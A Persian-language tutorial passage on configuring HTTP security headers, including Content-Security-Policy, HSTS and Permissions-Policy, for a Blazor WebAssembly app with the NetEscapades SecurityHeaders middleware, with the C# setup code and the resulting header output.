<ItemGroup> <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" /> </ItemGroup>
public static class SecurityHeadersBuilder { public static HeaderPolicyCollection GetCsp(bool isDevelopment) { var policy = new HeaderPolicyCollection() .AddFrameOptionsDeny() .AddXssProtectionBlock() .AddContentTypeOptionsNoSniff() .AddReferrerPolicyStrictOriginWhenCrossOrigin() .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin()) .AddCrossOriginResourcePolicy(builder => builder.SameOrigin()) .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp()) .AddContentSecurityPolicy(builder => { builder.AddBaseUri().Self(); builder.AddDefaultSrc().Self().From("blob:"); builder.AddObjectSrc().Self().From("blob:"); builder.AddBlockAllMixedContent(); builder.AddImgSrc().Self().From("data:").From("blob:").From("https:"); builder.AddFontSrc().Self(); builder.AddStyleSrc().Self(); builder.AddFrameAncestors().None(); builder.AddConnectSrc().Self(); builder.AddMediaSrc().Self(); builder.AddScriptSrc().Self() // Specify any additional hashes to permit your required `non-framework` scripts to load. .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=") // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function. .UnsafeEval(); //TODO: Add api/CspReport/Log action method ... // https://www.dntips.ir/post/2706 builder.AddReportUri().To("/api/CspReport/Log"); builder.AddUpgradeInsecureRequests(); }) .RemoveServerHeader() .AddPermissionsPolicy(builder => { builder.AddAccelerometer().None(); builder.AddAutoplay().None(); builder.AddCamera().None(); builder.AddEncryptedMedia().None(); builder.AddFullscreen().All(); builder.AddGeolocation().None(); builder.AddGyroscope().None(); builder.AddMagnetometer().None(); builder.AddMicrophone().None(); builder.AddMidi().None(); builder.AddPayment().None(); builder.AddPictureInPicture().None(); builder.AddSyncXHR().None(); builder.AddUsb().None(); }); if (!isDevelopment) { // maxAge = one year in seconds policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains(); } policy.ApplyDocumentHeadersToAllResponses(); return policy; } }
- این تنظیمات برای Blazor WASM تهیه شدهاند. در این حالت ذکر UnsafeEval برای اجرای اسکریپتهای فریمورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده میکنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هشها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده میکنید.
پس از تدارک کلاس تنظیمات فوق، روش استفادهی از آن در فایل Program.cs و توسط میانافزار SecurityHeaders، به صورت زیر است:
var app = builder.Build(); // ... var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment()); app.UseSecurityHeaders(headerPolicyCollection); app.UseHttpsRedirection(); // ...
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests Cross-Origin-Embedder-Policy:require-corp Cross-Origin-Opener-Policy:same-origin Cross-Origin-Resource-Policy:same-origin Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=() Referrer-Policy:strict-origin-when-cross-origin X-Content-Type-Options:nosniff X-Frame-Options:DENY X-Xss-Protection:1; mode=block